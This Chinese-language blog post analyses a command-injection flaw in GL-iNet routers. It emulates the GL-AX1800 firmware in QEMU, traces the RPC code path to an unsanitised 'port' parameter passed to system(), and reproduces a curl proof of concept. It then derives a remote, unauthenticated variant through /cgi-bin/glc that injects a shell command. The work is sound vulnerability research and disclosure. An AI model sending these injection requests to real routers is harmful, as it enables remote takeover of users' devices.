8月5日网上披露了 CVE-2024-399226[1],影响多款GL-iNet
路由器,随后开始漏洞应急。起初对GL-iNet
路由器不了解导致踩了很多坑、浪费了不少时间,因此在做完应急后对这次漏洞分析和固件仿真进行记录。
GL.iNet
是一家专注于智能路由器和网络设备开发的科技公司。成立于 2009 年,总部位于中国,该公司的产品以OpenWrt
操作系统为基础,提供高度的可定制性和灵活性。公司致力于为家庭、企业以及工业物联网环境提供可靠的网络解决方案。GL.iNet
的设备以其开源特性、强大的功能和优秀的用户体验而受到开发者、网络安全专家和高级用户的青睐。
OpenWrt
是一个基于 Linux 的开源嵌入式操作系统,专为网络设备(如路由器、网关和接入点)设计。与传统的路由器固件不同,OpenWrt
不是单一的、不可变的固件,而是一个完整且可扩展的操作系统,允许自定义以适应任何应用程序。
OpenResty
是一个基于Nginx
的高性能Web
平台,它将Lua
脚本引擎嵌入到Nginx
中,使开发者可以通过Lua
脚本编写高度可定制的Web
服务,用来处理复杂的web
逻辑和API
请求。OpenResty
通常用于高并发、低延迟的Web
应用程序开发,特别是在需要处理复杂逻辑或与外部服务交互时。
这种组合使得GL.iNet
路由器不仅仅是一个网络设备,还可以作为一个小型的Web
服务器或应用平台。
##3 环境模拟
GL.iNet
官网提供历史固件下载[2]。
固件版本:GL-AX1800 Flint 4.5.16
sysupgrade-glinet_ax1800
文件夹下存在root
文件。
$ file root
root: Squashfs filesystem, little endian, version 4.0, 44613986 bytes, 4754 inodes, blocksize: 262144 bytes, created: Thu Mar 21 13:28:00 2024
使用binwalk
,从root
中提取Squashfs
文件系统。
$ binwalk -Me root
查看bin/busybox
得知是32位arm
架构。
$ file squashfs-root/bin/busybox
squashfs-root/bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, stripped
###3.2 QEMU模拟
使用qemu-system-arm
从系统角度进行模拟,此时需要一个arm
架构的内核镜像和文件系统,可以在这个网站下载[3]。
vmlinuz-3.2.0-4-vexpress linux内核镜像文件
initrd.img-3.2.0-4-vexpress RAM磁盘映像文件
debian_wheezy_armhf_standard.qcow2 虚拟磁盘映像文件
启动虚拟环境。
$ sudo qemu-system-arm -M vexpress-a9 -cpu cortex-a15 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
//默认可以不指定 cpu 模型,我在模拟过程中遇到报错所以指定了 cpu。
Illegal instruction
启动后用户名和密码都是root
即可登录模拟的系统。
接下来在宿主机创建一个网卡,使qemu
内能和宿主机通信。
宿主机安装依赖。
$ sudo apt-get install bridge-utils uml-utilities
将如下代码保存为net.sh
并运行即可。
#!/bin/bash
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
# Reset iptables
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -P FORWARD ACCEPT
# Set up NAT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
# Accept traffic on tap0
sudo iptables -I FORWARD -i tap0 -j ACCEPT
sudo iptables -I FORWARD -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# Create and configure tap0
sudo ip tuntap add dev tap0 mode tap
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0 up
然后配置qemu
虚拟系统的路由,在qemu
虚拟系统中运行net.sh
并运行。
#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
//虚拟系统可能没有vim
或nano
,使用echo
一行一行写。
这样宿主机和模拟环境互通,使用scp
将squashfs-root
文件夹上传到qemu
系统中的/root
路径下。
scp -r squashfs-root/ [email protected]:/root
然后挂载proc
、dev
,最后chroot
即可。
root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc
root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armhf:~# chroot ./squashfs-root/ sh
BusyBox v1.33.2 (2024-03-21 13:28:00 UTC) built-in shell (ash)
/ # ls
bin etc lib overlay rom sbin tmp var
dev init mnt proc root sys usr www
启动web
服务,前文已经介绍过GL.iNet
路由器利用OpenResty
来增强其web
管理界面和API
的功能。而OpenResty
是基于Nginx
的web
平台,内置Lua
脚本支持,所以首先启动Nginx
服务。
尝试运行/etc/init.d
下nginx
脚本(/etc/init.d
目录通常包含系统启动和管理各种服务的脚本,如果需要启动某个服务,通常可以在该目录中找到相应的脚本)。
查看/etc/init.d/nginx
如何手动启动nginx
。
图1 nginx 脚本源码
图2 启动 nginx 报错
创建缺少的文件夹再次启动nginx
。
图3 再次启动 nginx
看样子nginx
好像起来了,访问web
却是404
。
图4 web 访问 404
这个时候已经没什么头绪了,find
一下所有nginx
相关文件试试。
图5 查找 nginx 相关文件
每个文件都看看,发现/etc/uci-defaults/80_nginx-oui
脚本。
/etc/uci-defaults/80_nginx-oui
脚本的主要作用是配置和调整Nginx的相关文件,确保Web服务能够正常运行。
尝试运行/etc/uci-defaults/80_nginx-oui
看看是否能修复404
问题。
图6 运行 /etc/uci-defaults/80_nginx-oui
图7 web 访问成功
成功修复,接下来尝试漏洞复现,先看一下披露的PoC
。
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'
从PoC
来看好像只能通过127.0.0.1
利用,先使用192.168.100.2
试试。
图8 PoC 远程利用
拒绝访问,再使用127.0.0.1
(之前的会话因为启动nginx
,需要ssh
再创建一个会话)。
图9 PoC 本地利用
这次报错为内部错误。继续找问题。根据PoC
可知请求的路径是rpc
,在/etc/nginx
下的nginx
配置文件中查找rpc
相关信息。
在/etc/nginx/conf.d/gl.conf
找到请求rpc
路径的处理方法。
图10 /etc/nginx/conf.d/gl.conf 源码
跟进到/usr/share/gl-ngx/oui-rpc.lua
。
代码来看/usr/share/gl-ngx/oui-rpc.lua
是处理HTTP POST
请求jSON-RPC
调用的。
图11 /usr/share/gl-ngx/oui-rpc.lua 源码开头部分
以上代码实现模块导入、请求方式验证和读取请求体。
要注意ubus
服务是OpenWrt
系统中一个进程间通信框架,需要启动。
HTTP
请求仅允许POST
,拒绝其他方式访问。
/usr/share/gl-ngx/oui-rpc.lua
定义了多个处理函数,每个函数对应不同的rpc
方法(因为PoC
通过call
方法调用s2s.enable_echo_server
进行攻击,所以只截取rpc_method_call
方法代码)。
图12 /usr/share/gl-ngx/oui-rpc.lua 源码核心部分rpc_method_call
进行参数校验、会话检查和Ubus
调用:
确保params
中至少三个元素且元素类型正确。
检查sid
是否有效,并通过rpc.access
验证访问权限。
如果上述判断均通过,使用rpc.call
执行指定的Ubus
对象和方法。
继续跟进/usr/lib/lua/oui/rpc.lua
查看rpc.access
和rpc.call
实现。
图13 M.seesion 和 M.access 函数源码access
通过is_local
判断是否本地请求。对于本地请求和glinet
标头的请求,总是允许访问(确定了只能本地利用)。
图14 M.call 函数代码M.call
函数是核心的rpc
调用处理器,执行以下步骤:
检查请求的对象是否已加载,如果未加载,则尝试从/usr/lib/oui-httpd/rpc/
目录下加载脚本文件。
如果脚本文件存在且加载成功,将对象的方法注册到objects
表中。
如果无法从/usr/lib/oui-httpd/rpc/
目录下加载脚本文件或者找不到对象或方法,则调用glc_call
执行。
查看/usr/lib/oui-httpd/rpc/
目录下是二进制s2s.so
文件,无法直接加载,则通过glc_call
调用/cgi-bin/glc
执行 C 程序实现的 RPC 方法。
继续跟进/www/cgi-bin/glc
文件。
图15 /www/cgi-bin/glc 反编译源码
大致实现逻辑与/usr/share/gl-ngx/oui-rpc.lua
类似,请求方式验证和读取请求体后动态加载并调用函数,区别在于/www/cgi-bin/glc
使用dlopen
动态加载对应的共享库(.so
文件)。
如此看来PoC
满足/usr/share/gl-ngx/oui-rpc.lua
和/usr/lib/lua/oui/rpc.lua
两段代码逻辑。
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'
请求发送一个POST
请求到rpc
路径,携带JSON
数据:
{
"method": "call",
"params": ["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]
}
权限校验参数检查均通过但是报内部错误,打印nginx
日志看看。
修改/etc/nginx/nginx.conf
并重启nginx
。
图16 修改 /etc/nginx/nginx.conf 配置文件
再用PoC
测试一次查看日志。
图17 nginx 日志信息
报错信息显示ubus-proxy
和fcgiwrap
未启动或未正常配置,尝试启动ubus``fcgiwrap
。
ubus: /sbin/ubusd
fcgiwrap: /etc/init.d/fcgiwrap
图18 PoC 本地利用成功
终于复现成功了。
漏洞只能本地利用未免有些太鸡肋了,继续进行漏洞分析,再尝试寻找远程利用的方法。
通过PoC
可知漏洞通过s2s``API
传递恶意shell
命令,分析一下/usr/lib/oui-httpd/rpc/s2s.so
。
漏洞出现在s2s.enable_echo_server
检查并启动echo_server
过程中:
图19 /usr/lib/oui-httpd/rpc/s2s.so 反编译源码
虽然代码中检查了port
参数是否为有效的数字,但没有严格限制其内容,仅验证了其是否为正数且小于 65535。然而,在字符串形式下,它仍然允许嵌入特殊字符,如$()
,这些字符可以被 shell 解释器解析为命令。
在v16(v27, 128, "%s -p %s -f", "/usr/bin/echo_server", v9);
中,port
参数 (v9
) 被直接传递给snprintf
函数,生成的命令字符串随后通过system(v27);
执行。
由于v9
可以包含类似7 $(touch /root/test)
的字符串,shell 会执行其中的命令touch /root/test
,导致命令注入。
漏洞成因分析起来还是比较容易的,最后一个问题,如何通过远程实现漏洞利用。公开的PoC
是通过rpc
路径调用call
方法触发s2s.enable_echo_server
漏洞。然而,由于会在rpc.access
阶段进行权限校验,因此需要找到一个不需要权限校验的路径来执行call
方法。
回过头再看一眼/usr/lib/lua/oui/rpc.lua
的glc_call
方法。
图20 glc_call 函数源码
如果直接请求/cgi-bin/glc
路径,将会调用glc_call
函数。glc_call
函数会向另一个内部路径(/cgi-bin/glc
)发起一个内部 HTTP POST 请求,并传递方法名称、参数等信息。执行call
方法并且跳过之前的权限校验,修改PoC
尝试远程利用。
curl http://192.168.100.2/cgi-bin/glc -d '{"object":"s2s","method":"enable_echo_server","args":{"port":"7 $(touch /root/test2024)"}}'
图21 PoC 远程利用成功
漏洞应急最烦环境弄不好,这次就因为一开始不了解GL-iNet
路由器导致纯在瞎折腾浪费时间,最后在大佬的指点下搭建好环境。记录过程中尽量复刻了当时工作的操作顺序,逻辑上有很多地方其实有更简单的解决方法不用绕这么多弯,诸君见笑。